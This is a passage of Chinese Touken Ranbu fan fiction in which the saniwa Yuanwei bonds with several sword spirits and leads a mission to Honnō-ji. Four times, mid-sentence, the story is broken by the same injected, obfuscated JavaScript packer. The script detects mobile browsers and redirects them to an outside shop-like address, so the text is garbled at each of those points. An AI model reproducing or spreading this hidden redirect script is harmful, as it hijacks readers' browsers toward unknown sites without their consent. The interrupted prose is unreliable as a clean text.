他好像真的有点醉了。他看到世界在旋转,变成了一个又一个的光晕,于是他索性坐下来。坐着感觉头有点晕,他扔开倒不出酒的酒瓶,迷迷糊糊地瘫在地上。耳边好像听见鲶尾藤四郎在急切地喊他,还在晃他,好像在说有关主人的事。主人?怎么哪里都有她,连梦里都有吗?他眯着眼睛想道。好像过了很久,又好像只是几秒钟,他的耳边终于安静下来了。在陷入沉睡的前一秒,他好像真的看到了主人…… 什么?! 不动行光终于反应过来,一个鲤鱼打挺,差点撞到正低头查看他情况的药研藤四郎。 药研略一侧头,轻松躲开不动行光的袭击,顺手抵住他的肩,把他往床上按:“酒醒了也不要起这么猛。” 不动行光愣愣地顺着他的力度倒回被窝里。什么情况,他怎么回到自己卧室了?还有他最后一丝意识看到的……真的是主人? “哗啦”,一张纸在他眼前抖了抖。纸有点透光,他眯着眼睛,艰难地辨认着上面的字迹:“不动行光,马当番时喝醉,处罚——”,他一下瞪大了眼睛,把手从被窝里抽出,揪住这张纸,“哈?单独马当番七天!” 看到不动行光不可思议的眼神游离在这张纸和自己身上,药研藤四郎无动于衷:“‘逃番’可是不会被大将容忍的,尤其你还在当番时间喝得烂醉。好好休息吧,处罚从明天开始,大将说她会亲自盯着你的。” 他收拾好自己的医药箱,拉开门,又转头看了一眼心如死灰倒在被子里的不动行光,“嘴里说说就好了,可不要真的变成你口中的‘废刀’了啊,不动。” 听到这话,不动行光警觉地侧头向他瞥去,但灯光打在药研藤四郎身上,眼镜的反光遮住了他的眼神。 “走了。”并未多言,药研摆摆手,拉上了门。 ……他懂什么。 不动行光直愣愣盯着天花板的灯,盯到眼前泛起一片白光。他什么都不懂…… 话是这么说,但在后面几天,他也收敛了些。才不是因为鸢尾笑眯眯盯着他但又什么都不说的样子很吓人!他被鸢尾的目光烫到,赶紧收回视线,假装一丝不苟地盯着眼前的马,一边梳理马鬃一边腹诽。 一个人的马当番实在是一件辛苦的活计。喂马,梳毛,运送干草,整理马厩……不动行光吭哧吭哧地干活,鸢尾就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623644|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不远处的树下架起一个桌子处理文书。 不动行光喜欢喝酒,因为在现实中清醒的时候,他会忍不住想很多,想织田信长、想森兰丸、想他们的光辉岁月和他们的死。而当喝醉了,他就只要想着睡觉就够了。可是这几天,他天一亮就得起来干活,从天亮干到天黑,干到倒头就睡,根本没时间拿起他的酒瓶,也累到没时间去想些七七八八的事,反而感到了一种从未有过的轻松,一种没有杂音的安宁。 “我,我做完了……”夕阳西沉,不动行光完成了最后一天的任务。他观察着鸢尾的神色,小心翼翼地报备。 鸢尾什么也没说,只是轻轻在他的头顶拍了拍,笑着帮他拿下挂在发间的几根稻草。火红的夕阳让她好像一直苍白的脸上多了几分气血,少了几分“易碎品”的感觉。 不知道是什么心思在作怪,看着鸢尾被夕阳照得透亮的清澈眼睛,不动行光突然开口:“你究竟是怎么看我的呢?” 话刚脱口而出,他又后悔了。“算了,你当我什么也没问吧……”,他低头,发泄似的把脚下无辜的小草碾得东倒西歪。 “不动就是不动,”鸢尾说着,双手却不停,灵巧地把几根稻草编成了一只蝴蝶,放到他的手心,“迷茫、痛苦、纠结,勤劳、踏实、善良,好的也罢坏的也罢,正是这些经历构成了独一无二的你。在我的眼中,不动行光就像要破茧的蝴蝶,是这样一直成长着吧。至于会成长为什么样呢,我也很期待啊。” 不动行光盯着手中简单又活灵活现的蝴蝶:“……蝴蝶吗?我也能……成长为这么美丽的样子吗?” “能不能的,总要做了才知道,不是吗?”鸢尾朝他俏皮地眨眼。 而不动行光只能狼狈地偏过头,掩盖自己被夕阳照得通红的耳朵。 —— “啊!”,森兰丸从噩梦中醒来,溺毙般挣扎着呼吸。 又一次,他又梦到了。 冲天的火光,肆流的血液,折断的刀剑,织田大人…… 这已经是第四次了,他攥紧拳头,死命地抵住自己的额头。这是真的吗?为什么会如此真实?如果这是真的,那么他愿意付出所有——究竟,究竟要怎样才能改变这个结局…… 他一翻身,顺势抓住放在床头的刀,向旁边滚了两圈。刀划破从门缝里透出来的月光,亮出一道森白的光。 “谁?”他抬头,借助微光看清出现在房间里的“人”,却不由得呼吸一滞—— 泛着诡异光芒的眼睛,长满犄角和骨刺的身躯,还有一阵阵诡异的气息……一切都昭示着来者已经完全脱离了“人”的范围,而且它甚至不愿意掩饰。 森兰丸握紧刀,沉默地与它对峙着。 “你梦中的场景,就是不久的将来。”那个长相诡异的怪物发出低沉的声音,“付出代价,我可以实现你想要的未来。” 9. 笼中鸟与林中鸟 新的主公,是一个什么样的人呢?从见到鸢尾的第一面起,宗三左文字就一直在思索。 织田信长、丰臣秀吉、德川家康……自诞生起,他辗转于不同人的手中。被称为“获取天下之刀”,他却鲜少能在战场上现身。作为刀,象征的意味却更胜于实用性吗?他自嘲道。 像笼中鸟一样,得到了就放在一旁,束之高阁……之前的主人,大多都是这样对他的。可是——这一次,好像不太一样。他默默地注视着鸢尾,看着小短刀们围着她撒娇,看着她有条不紊地安排着每天的出阵和远征,看着她检查好他的刀装和御守、再让他上战场…… 战场,陌生又熟悉。宗三左文字甩开刀上的血,反手又将它插入背后偷袭的时间溯行军体内。肩胛处被贯穿的伤口隐隐作痛,脸上、手臂上也感受到温热的液体蜿蜒流过,留下黏腻的感觉。但他心中的战意却因此愈发蓬勃——还能有多久呢?这样能活跃在战场上的样子…… —— “这是今天的出阵报告,”今日的近侍小乌丸将报告送到鸢尾案头。 “有劳了。”鸢尾顺手接过。一目十行地浏览过去,却轻轻皱起眉头:“宗三……又受伤了吗?” 小乌丸:“虽然英勇有加,接连拿下好几个‘誉’,但却让自身置于险境了吗?看来子代还是有待历练。” 鸢尾:“总觉得他心中留有心事——明明一直在观察,却也总是一言不发,有时候我也有点猜不透他在想些什么呢。” 看着小乌丸好整以暇地盯着自己,鸢尾想起他平日里总挂在嘴上的“为父”,便好奇的问到,“那么,作为父亲大人,小乌丸是不是知道些什么呢?如果可以的话,和我说说吧?” 她的说法对小乌丸显然很受用,“了解子代的心结,也是为父的职责所在。但想要让他走出禁锢自己的过去,就要仰赖主公了。” 鸢尾敛眸,若有所思。 …… “宗三,帮我把这些抱到天守阁吧。” 饭后消食,鸢尾和一群小短刀们散步到了本丸门口,正好看到了门□□满的信箱。宗三左文字路过,被鸢尾抓来当苦力。 挥手和活泼的小孩子们作别,鸢尾带着宗三朝天守阁的方向走去。 “自从上战场以来,宗三一直很活跃呢。”鸢尾率先开口,“不过,最近受伤的频率也很高——对这件事,宗三自己有什么想法吗?” 终于来了吗?宗三左文字抱紧怀中的一摞信,声音中带着一抹散不去的忧郁,“您想听什么呢?像我这样久居高阁的笼中鸟,只能好好抓住偶尔可以飞出去的机会吧……开玩笑的。” 他的话引来了鸢尾的回头。说是说笑……分明就一点笑意也没有啊。鸢尾默默叹了口气。 静谧在接下来的路程里漫延。到了天守阁,宗三左文字放下信件就向鸢尾告退。 “陪我坐一会儿吧。”鸢尾拍拍身旁近侍的专属座位。 宗三似是愣了一下,无言地坐下。 “经常听到宗三说‘笼中鸟’这个词,让我也有点回想到了我的过去呢。”鸢尾仰起头,像是在回忆着什么似的。 “好像从来没有对大家说过,因为体质特殊的原因,过去的我,被家族囚禁起来,就像宗三说的——束之高阁。 但他们可能也没有想到,可以把我的身体锁住,却无法将我的意识束缚。有一次,我在他们不注意的时候,将自己的意识随灵力扩散。虽然依然没有办法逃离那里,但在那一天中,通过我的灵力,我跑到了花园、后山、藏书阁,看到许许多多奇怪的人和奇怪的事。一睁开眼,我还是被困在阁中,但在见识到阁楼之外的阳光的那一刻,我想,我的心灵已经自由了。从那天之后,我时刻在筹划的,就是我身体的自由。” 说到这里,鸢尾站起来,轻轻打开天守阁的窗。窗外还是一片葱茏,不时有说不出名字的鸟雀轻盈地从窗边掠过,归巢或是飞向远方。“一只鸟,如果心先被困住的话,在林中也会像在笼中的。” “一只本来就在笼中的鸟,又怎么能知道林中鸟的感觉呢……”一片沉寂过后,宗三左文字艰涩地回应。他来到鸢尾身后,跟随着她的目光向外望去。 “那就从现在开始适应你作为‘林中鸟’的生活吧。”鸢尾的目光轻轻落在他的身上,“在我的本丸里,你可没有再被‘束之高阁’的机会了。” 在她的注视下,宗三左文字能感受到自己的心脏在剧烈地跳动。胸膛仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623645|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛也承载不住心脏跳动的力度,把细细的颤抖传达到全身。如此的肯定吗?您究竟…… 他有很多话想说,但最后,在耳边心脏嘈杂的跳动声中,他只听到自己的声音,是“好”。 —— “从明天开始,我会进行跟随作战。按照部队的顺序,从第四部队到第一部队,一天一次。”在一周一次的总结会议上,鸢尾宣布了自己的决定。 “主人/主公大人/大将?” 下面的刀剑们停下了动作,大部分都用惊讶的目光盯着鸢尾。倒不是不相信鸢尾的能力,这段时间以来,鸢尾的领导能力大家都有目共睹,井井有条的本丸就是最好的证明;而鸢尾射箭的技艺也越发纯熟,在远战上,大家也得退避一席。就是鸢尾的身体实在令他们揪心——消瘦苍白的脸颊和时不时的咳嗽就够让他们警戒的了,更别说还有刀偶然看到她会捂着心口休息!对于鸢尾的身体,他们都当作瓷器一样小心对待,可她本人却总是不当一回事,也不肯告诉他们究竟是什么病,让他们又咬牙又忧心。 跟随作战,战场上的条件和本丸根本比不来,就怕他们好不容易才给鸢尾养好一点的身体又回去了……一群莫名朝着主控的方向发展、还一去不回头的刀们暗自担忧。 可是他们也明白这是迟早的事情。像鸢尾这样的人,身体的病痛和一方本丸是无法困住她的,她注定要在更大的天地活跃。 见自己的刀刀们只是用惊讶、担心的眼神望着自己,并没有阻止或不赞成的意味,鸢尾也有点开心。看来她和自家的刀刀们还是很有默契的嘛! 鸢尾:“大家放心吧,我对我的身体还是有数的。狐之助会跟着我一起,撑不住的时候,它就会把我送回本丸的。” 见鸢尾提起自己,旁边的狐之助赶紧放下吃的正香的油豆腐,骄傲地挺起自己毛茸茸的小胸脯。 看着嘴角还挂着油豆腐碎屑的狐之助,刀刀们都挂上几条无语的黑线。 “咳,总之,就先这样决定了。”鸢尾带着无奈的笑点了点狐之助的头,拍板定音。 于是,烦恼就来到了明天的第四部队身上。 自己该如何在保护好主公的同时,在她心里留下更深刻的印象呢? 10. 睡觉与膝枕 “国行,赶紧起来呀……”爱染国俊推了推还悠闲躺在地上的明石国行,“昨天主公不是说了吗,今天她要跟着我们一起上战场,我们得好好表现,给主公留下一个好印象。你听到了吗,国行!” “知道了……”明石国行摆了摆手,懒洋洋地翻了个身,换了个更舒服的姿势,“嘛,都说了没干劲就是我的特点,就不要对我抱有太大希望咯。” 唉……又是这样。爱染国俊发自心里地感到无奈。他和国行、萤丸几乎是同一个时间显现的,他们显现时,本丸已经有了不少刀了。他和萤丸还好,因为是小孩子的体型,受到了主公的不少关照,可是国行老是这样散漫的、一副好像没人记起他就要自己躺到天荒地老的样子,也懒得主动去找主公交流,而主公又那么忙——他和萤都很担心哪一天主公真的把国行给忘了。 “国行,快点起来,不要让国俊为难啊。”萤丸也帮腔,蹲到另一边试图他明石国行拉起来。 “嘿咻。”明石国行依旧闭着眼睛,长臂一揽,把两边的两个人压到自己怀里,“还早呢还早呢,我们再养精蓄锐一会儿……” “都、说、了,不要再睡了!”见他死性不改,萤丸额角蹦出一个“井”字,从明石国行的怀里爬起来,拉住他的脚,把他整个人拖在地板上旋转,“听到了没有啊——” 看着屋内又变的一片混乱的场景,爱染国俊再次心累地叹了口气。 …… “第四部队,队长:压切长谷部,队员:小狐丸,明石国行,爱染国俊,前田藤四郎,秋田藤四郎。准备完毕,申请出阵。”时空转换装置前,大家整装待发,队长压切长谷部向鸢尾汇报。 见鸢尾颔首,他上前调好装置上的出阵时间、地点。按下按钮,一阵金光将鸢尾和众人包围,瞬息过后,庭院内恢复平静,已然没有了他们的身影。 祝君武运昌隆。 本丸里留守的刀刀们都真诚地祝福着。 —— “咻——” 由灵力凝聚而成的箭矢划破长空,准确的划过明石国行的侧脸,贯穿他身后敌太刀的心口。 “吼!”敌太刀发出怒吼,转手想拔出箭矢,但却被箭矢所带的灵力刺伤,最终只能随着灵力箭矢的破碎而消散。趁此时机,明石国行提刀,干脆利落地砍向面前的敌枪,消灭了最后一个敌人。 看到这次的时间溯行军全部被消灭,出阵的第四部队都松了口气。 “主公大人好棒——” “不愧是主公啊!” 小短刀们欢呼着跑向后方执弓而立的鸢尾,围在她身边叽叽喳喳地诉说着他们的仰慕。 不过——确实很厉害嘛。 明石国行收刀入鞘,右手漫不经心地捻着垂在眼前的几缕发丝,慢悠悠地缀在队伍的最后面。 无论是从指挥意识,还是弓箭的运用程度来看,都是无可指摘。刚刚作战时出手虽少,但好几次都巧妙地化解了刀剑必然受伤的局面,又维持在所有刀都能充分出手的程度上。 挺好的。 明石国行满意地点头。有这样的主公在,他是不是能多休息一会儿呢……上战场还是很累的嘛。 “国行,快点,要回去了!”爱染在鸢尾身边,朝他招手喊道。 小孩子就是好啊,战斗完了还能这么有活力。明石国行叹了口气,懒得动弹,只是点点头证明自己听到了。 …… “真的吗!然后呢然后呢?” 出阵回来已经是中午了。吃完午饭,鸢尾回天守阁午休,而上午没有和鸢尾一起出阵的刀们都兴致勃勃地围着第四部队,听他们讲述今天鸢尾在战场上的“完美表现”(引自压切长谷部语)。 爱染国俊:“然后主公就搭上她灵力汇成的金灿灿的箭,拉弓引弦——下一秒,箭就飞出去了,把要偷袭我的时间溯行军射成两半!”,一边说着,他还要模仿当时鸢尾的动作,而秋田和前田则扮演战场上被鸢尾打败的时间溯行军。 “哇!”看着他们生动的表演,围观的其他短刀们都发出惊叹,他们也与有荣焉。 “咳咳,不仅如此,当时主人还……”压切长谷部在一旁补充,力图通过还原所有细节让大家都能感受到鸢尾的英姿。 也不用这么有激情吧……看着越来越热闹的大广间,远离人群、正打算随地大小睡的明石国行被众人的惊呼吵得睡不着。 他痛苦地爬起来,打算找个安静点的地方继续补觉。 走出大广间,往来派部屋的方向走去。刚走到一半,就看到本来应该在天守阁午睡的鸢尾正靠着廊柱,暖洋洋地晒着太阳,一边慢条斯理地帮小狐丸梳理着头发,膝上还枕着一个睡得正香的包丁藤四郎。 ……他看了眼睡得四仰八叉的包丁藤四郎,果断地朝鸢尾走去。 把自己的脸藏在她的影子里,下半身则沐浴着暖融融的阳光,就好像盖了层没有重量的被子。闻着周围无名的暖香,明石国行舒服地轻叹。自己果然很聪明,待在这里,就不用担心被吵到了,睡得应该也很舒服…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623646|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到明石国行的动作,鸢尾和小狐丸对视一眼,都从彼此的眼里看到了无奈的笑意。 鸢尾特意购买的棕黑色檀木梳置于发中,与小狐丸雪白的发丝形成强烈反差。听着梳子与头发接触而发出的轻轻的摩挲声,鸢尾挑起一缕缕如上好的绸缎般丝滑的发丝,细致地、柔顺地梳理着。最后悄悄挼了一下小狐丸头上状似狐狸耳朵的那一撮头发,鸢尾收起梳子,“好啦——柔顺有光泽,小狐丸的头发真让人羡慕呢。梳子就先收在我这里,下一次要梳理的时候,再来找我吧?” 听到鸢尾对自己毛发的夸赞,和对下一次梳理的允许,小狐丸也勾勾嘴角,野性的犬牙抵在嘴唇上,“好,那就先谢谢主人了。” 他转头看了看睡得正香的两人,轻声问道,“需要我把他们叫起来或是搬回部屋吗,主人?” “没事的,正好我也睡不着,在这里晒一会太阳。等我要离开的时候会叫他们起来的,你先去忙吧。”知道他今天还有未完成的当番,鸢尾摆摆手让他先行离开。 欲言又止地看了鸢尾一眼,小狐丸最终还是什么都没说,听话地去完成自己的当番任务了。 刚送走小狐丸,又迎来了药研。 看着自家兄弟在大将膝头呼呼大睡,药研藤四郎这才放下心来。刚刚把听爱染和长谷部讲故事听得正兴起的弟弟们带回房间午睡,就发现少了一个人。将弟弟们都塞进被窝里,他匆忙出来寻找包丁,没想到这个家伙倒是幸福地睡在大将这里。到时候被其他弟弟们发现,又要闹一通了……想到平日里弟弟们对大将的依赖,药研暗自摇头,到时候包丁偷偷藏起来的零食怕是要被他们一扫而空了。 虽然这样想着,他却没有显露出来。只是放轻了脚步,绕过在鸢尾背后遮阳睡觉的某人,自然地坐到鸢尾身边。 “包丁没有打扰你吧,大将?”药研原本就低沉的声音在刻意放轻的情况下显得更有磁性。 鸢尾拢住手盖在包丁眼睛上方替他遮挡阳光,“没有。原本是我睡不着在外面闲逛,没想到刚好遇到了他。因为怕我孤单就专门留下来陪我,包丁也是个很有气概的小男子汉呢。” 看着被鸢尾细心对待的包丁,药研无言一笑。 真是个好天气啊…… 两人一齐抬头,望向无云的蓝天。 阳光暖得人昏昏欲睡,空气中仿佛也氤氲着自在的氛围。 流水穿过廊前的庭院,流过添水,敲击竹筒留下“咚咚”的声音证明自己来过,然后又欢快地流走,流向不知去处的远方。 11.本能寺(1) 安宁的日子固然悠闲,可是战斗才是所有本丸的常态。 日积月累,大家也慢慢适应了有鸢尾跟随作战的出阵。 “药研藤四郎,不动行光,压切长谷部,宗三左文字,烛台切光忠和鹤丸国永,队长是药研藤四郎,出阵地点:本能寺,时间:天正十年。以上。” 待今天的近侍崛川国广宣读完出阵命令,看着被点到名字的刀神色各异的表情,鸢尾心中也充斥着无奈。不是自己恶趣味地想看看大家对那个男人的态度,只是……为了更准确地定位以及查找出端倪,只能出此下策,让还没有做好准备的刀们去面对对他们影响至深的那个男人——织田信长。 “去做准备吧,三十分钟后在天守阁开一个作战会议。”鸢尾宣布道。 “……主人这么做必然有她特殊的用意,我压切长谷部一定会为主人带回一个满意的结果!” ……看着沉思片刻莫名又打了鸡血的压切长谷部,宗三左文字停下了向他走去的脚步。算了,还是去做战前准备吧。他牵着小夜的手回到部屋。 —— “坐。” 出阵部队在天守阁集合,鸢尾向他们发了一张特殊材质做成的纸。阅读完毕,纸会自动消失。 鸢尾:“读完了吗?” 见大家点头,她解释道,“这一次我们要前往的战场和平时不太一样。政府已经监测到这个时段有特殊的时间溯行军的气息,就是之前长谷部他们遇到的能‘寄生’在人的身上的那种。为了达到目的,他们一定会选择有足够影响历史走向能力的人,所以这一次,政府希望能够借助你们的记忆,在他影响历史之前把他找出来。” 她继续补充,“另外,由于任务特殊性,这次我依然会跟随作战。” 见大家都有了较为充分的心理准备,鸢尾也稍微放了点心,她抱起旁边充当吉祥物的狐之助。 “那么,就出发吧。” …… 天正十年。 还未睁开眼睛,比视觉更早感受到的是雨滴轻轻打在身上的微凉感。鸢尾睁开眼睛,看到被林间繁茂枝叶割碎的阴沉天空。 雨似乎已经下了一段时间,她能闻到泥土中带有一丝丝辛辣的味道。 还待继续观察,纯白色的兜帽就已将盖到她头上了。她看向衣服的主人,纯白的鹤打趣道,“哈哈,要照顾好你呀,不然回去的话本丸的大家可能会给我们带来个大惊吓也说不定。” 因为离得比较远,慢了一步的压切长谷部不甘心地套回自己的外套。 “现在大概是什么时候了?”,鸢尾抬头,看向队长药研。 凭借体型和机动,药研在刚刚就已经爬上旁边最高的树,正在向远处瞭望。听到鸢尾的声音,轻踩树枝借力,一眨眼就回到她身边。 “看到队伍了,他们快到本能寺了。” 本能寺……听到这个熟悉的地名,几把刀都愣了一下。 鹤丸国永和烛台切光忠对此倒是没有什么太大的反应。虽然他们也曾是织田信长的刀,但在之后又流经各家,织田信长对他们而言只是其中一个主人。 看到几把刀又要陷入回忆,鸢尾赶紧唤回大家的注意,“好了,我们先找个更隐蔽的地方避雨,顺便商量一下接下来的对策吧。” “是。”众人应下。随后,侦查值比较高的短刀在前面寻找可以避雨的地方,两把太刀断后,而压切长谷部抱着鸢尾,和抱着狐之助的打刀宗三左文字护在队伍的中间。 没错,是“抱”。因为压切长谷部是这么说的:“下雨天视线不清,主人行动不便,要是摔倒了怎么办?还是由我长谷部抱着您吧,这样队伍的行动也可以更快一点。”理由很充分,情感很真挚,私心很明显(?)……总之,他还是成功地抱上了鸢尾。 “大将,这里!”药研率先发现了一处比较宽敞的洞穴,他站在洞口,指引队伍靠近。 雨下得渐渐大了起来,天空比之前稍微亮了一点。外面的光微弱地投进来,大家勉强能看得清对方的脸。 “按照刚刚药研发现的,今天织田信长会到达本能寺,那么距离历史上的本能寺之变应该就只剩下一天时间了。”鸢尾摘下兜帽,用灵力烘干了大家身上的雨水,继续下达命令,“那么在接下来的两天时间内,我们需要尽量找到被时间溯行军‘寄生’的那个人。” 被洞外吹进来的带着雨丝的冷风呛了一口,她咳嗽了几声,“咳咳,当然,找不到也没关系。我们的首要职责还是维护历史不被改变。人至少会在最重要的关头出现,只要我们有提防的意识就够了。” 注意到鸢尾的咳嗽声,药研藤四郎把她刚刚拿下来的衣服又披了回去,几个身形比较高大的打刀太刀默默往洞口的方向坐了坐,尽量挡住吹进来的风。狐之助也窝到鸢尾怀里,试图通过自己的毛给鸢尾带来一点温暖。 “找到了被‘寄生’的那个人,要怎么办呢?”从到达之后,就一直没怎么说过话的不动行光突然开口问道。 “我的灵力应该可以起到净化作用。净化过后,他/她还是应该回到原本的历史进程。”鸢尾回答。 得到了答案,不动行光再次安静下来,沉默地盯着狭小的洞穴内部凹凸不平的地面。 鸢尾张了张口,最终还是什么都没说。纵然担心,但……她要相信自己的刀,相信他们的成长,就像他们也信任着自己一样。 …… 过了一个多小时,雨慢慢停了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628237|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但天色却也彻底地黑了下来。考虑到夜晚在山上留宿不太安全,一行人准备下山去找个地方住一晚。 “三间房。”鸢尾出面拿向旅店老板定下房间。没办法,谁让刀剑付丧神出阵时都必须身着自己特定的出阵服呢,对这个时代的人来说,他们的服饰还是有点太超前了。商议过后,还是由提前换了这个时代衣服款式的鸢尾来订房,他们再从窗户悄悄翻进去,等到明天再找一套更符合这个时段的衣物。 “是、是,您稍等……”虽然不明白鸢尾一个人为什么要订三间房,但旅店老板还是照做了。尽管他不认识她的脸,可看到她身上穿着的衣服的料子和周身的气度就知道,这位大人来历一定不凡,可千万不能怠慢了…… 让时之政府准备了一套衣服的鸢尾:……为什么他一直瞄着自己的衣服?难道时之政府搞错了?不应该吧—— 她偷偷拉了拉自己的袖角,不由得站得更直了一些,让自己看起来坦诚地对上老板的眼神。看到她的表现,还以为鸢尾不满自己的眼神,旅店老板加快了手上的动作。他急忙在抽屉里翻找着,拿出三个号码连在一起的木牌,双手奉上给了鸢尾,又赶紧绕出柜台到鸢尾面前带路。 还以为自己的衣服穿错了的鸢尾:……好吧,没错就好。虽然不知道老板脑补了什么,但这样也免于解释了。 来到房间,鸢尾关上门,在窗边敲了三下。不一会儿,窗边就翻进来六个刀剑付丧神和一只狐狸。 “怕有影响,我没有定太多。一共三间,你们是打算两个人一间还是三个人一间?”鸢尾翻出三个木牌。 两个人一间,不就意味着有两个人要和主人住一间!长谷部警惕地看了一眼大家,率先发言,“还是三个人一间吧,如果主人担心夜里不安全,可以让长谷部在您房间里护卫。” “护卫的话,还是贴身的短刀更合适吧。”药研藤四郎垂眼整理着自己的手套,随口搭腔。 “嗯嗯?护卫嘛,太刀应该会更有安全感吧,对吗,小光?”鹤丸国永加入了这场“战争”,他把手搭在烛台切光忠肩上,朝鸢尾眨了眨自己金色的眼睛。烛台切光忠也若有其事地点了点头。 “咱也可以!”狐之助不甘落后地挺了挺自己的小胸脯。 好笑地看了他们一眼,鸢尾收起这个房间的木牌,把剩下两个留给他们,“护卫就不必了,我还是能保护好自己的。剩下两间房你们看着分吧,好好休息,明天我会通过灵力召唤你们到这里集合。” “可以通过灵力召唤我们?那我们刚刚……”大家的目光一致投向刚刚才爬上来的窗户,又看向鸢尾。 “啊……我以为你们知道,但是想体验一下翻窗户的感觉。”鸢尾无辜回望。 12.本能寺(2) 有人一夜无梦,有人一夜无眠。但任务还是要继续。 “按照历史记载,今天织田信长会在本能寺举行茶会,他的嫡子傍晚会前来本能寺参加酒宴,晚上才离开。大家可以潜伏在本能寺中,看看是否有人的表现和自己记忆中不太一致。有异常情况就汇报给我。” “是。” 鸢尾安排好今天的任务,刀剑付丧神们便四散而开,各自去执行。 她倚在窗边。 远处刚蒙蒙亮的天透着淡蓝灰色,而这里的百姓们已经开启了自己忙碌的一天。嬉闹声、叫卖声或者是抱怨的声音,与大自然的声音混合在一起,构成了这样一幅在历史上随处可见的清晨。可她明白,也许历史并不缺这样的平平无奇的一个早上,可对于身处在历史中的人们来说,这就是他们生命中的重要的一天。所以,这也是他们守护历史的意义吧…… 狐之助趴在窗沿上,抬头看看陷入沉思的鸢尾,默默抬头蹭了蹭她的手。 —— “光秀大人。” 听到声音,站在庭院内赏花的明智光秀转头,“哦,是森兰丸啊。” 森兰丸总觉得这一幕很熟悉,就好像已经发生过一样,可是他却回想不起来。可能是最近没休息好吧……他把这些奇怪的想法抛之脑后,上前通知明智光秀,“信长大人举办茶会,邀请您一同前去。晚上还有一场酒宴……” 明智光秀:“我知道了。” 森兰丸看他还在盯着那一丛山茶花,好奇地问到,“光秀大人很喜欢椿花吗?” “……花落之时,满地凋零,落在地上的花却完好无损。这样的精神,或许也和我们一样吧。” 森兰丸看着一朵山茶“吧嗒”落地,刚想说话,脑中却突然一阵刺痛。他抬手捂住自己的头,明明闭上眼睛,却还是能看到一片刺眼的血红。 “你没事吧?”看到他痛苦的表情,明智光秀问。 “我,我没事的,大人。”一阵恍惚,森兰丸放下手,“可能是最近没休息好……我先回去复命了。” 看着他失魂落魄地离开,明智光秀眼神中闪过一丝不明的意味。他转过身,仍旧欣赏着满地残红。一朵朵完整的山茶花掉在地上,有些被人踩烂了,有些还保留着枝头怒放的样子。今天晚上,他与织田信长大人,究竟谁会像这些花一样呢…… 他们都未曾注意到,不远处的几道目光正悄悄注视着他们。 …… “森兰丸……” 不动行光掩藏在一道廊柱后面,愣愣地看着一无所觉从不远处走过去的森兰丸。 如果、如果能告诉森兰丸接下来会发生的事情,他和织田信长大人是不是就不会……不,不行。他攥紧自己的手,指甲在手心留下深深的印迹。这样做的话,就和时间溯行军没有区别了。他想到本丸里的大家,想到鸢尾在那天的夕阳下对他说过的话。他不能、不能辜负…… —— 天色渐晚,大家回到鸢尾的房间里养精蓄锐,为晚上的战斗做准备。 鸢尾:“怎么样,有什么特殊的情况吗?” 见大家对视几眼,都摇了摇头,只有不动行光低着头不知道在想些什么。 “喂,不动,主人正问你话呢!”压切长谷部最先注意到。在不动行光身边的宗三左文字也推了推他的手臂,示意他回神。 “啊……没、没有,我也没发现什么。”不动行光回神,看到大家都盯着自己,连忙摇头说道。 看来这次的时间溯行军埋伏得还是很深。鸢尾敛眸沉思片刻,又安抚大家,“没关系的。既然没有什么不同,那就证明他一定会在今天晚上出现,到时候大家多加小心便是。要是找到疑似被‘寄生’的人,就碾碎这个。” 鸢尾将一颗颗散发着微弱光芒的小球递给他们。见他们好奇地观察着,还有人试图尝一口看看味道,鸢尾一边伸手堵住某只鹤的嘴,一边解释,“这是我的灵力的浓缩。碾碎了之后,里面的灵力足以净化时间溯行军;要是有危险,它也可以当成御守,抵御一次敌方的致命攻击。” 今天晚上是历史的重要节点,想要改变历史的时间溯行军一定会抓住这个机会,在这里现身。他们与时间溯行军之间必有一场恶战,而到时候形势混乱,她不能保证时刻留意所有人,不过她的灵力倒是可以被随身携带,也比较方便。 某只被捂住嘴的鹤眨巴眨巴眼睛,璀璨的眸子就像晶莹透亮的玻璃珠,试图“萌”混过关。 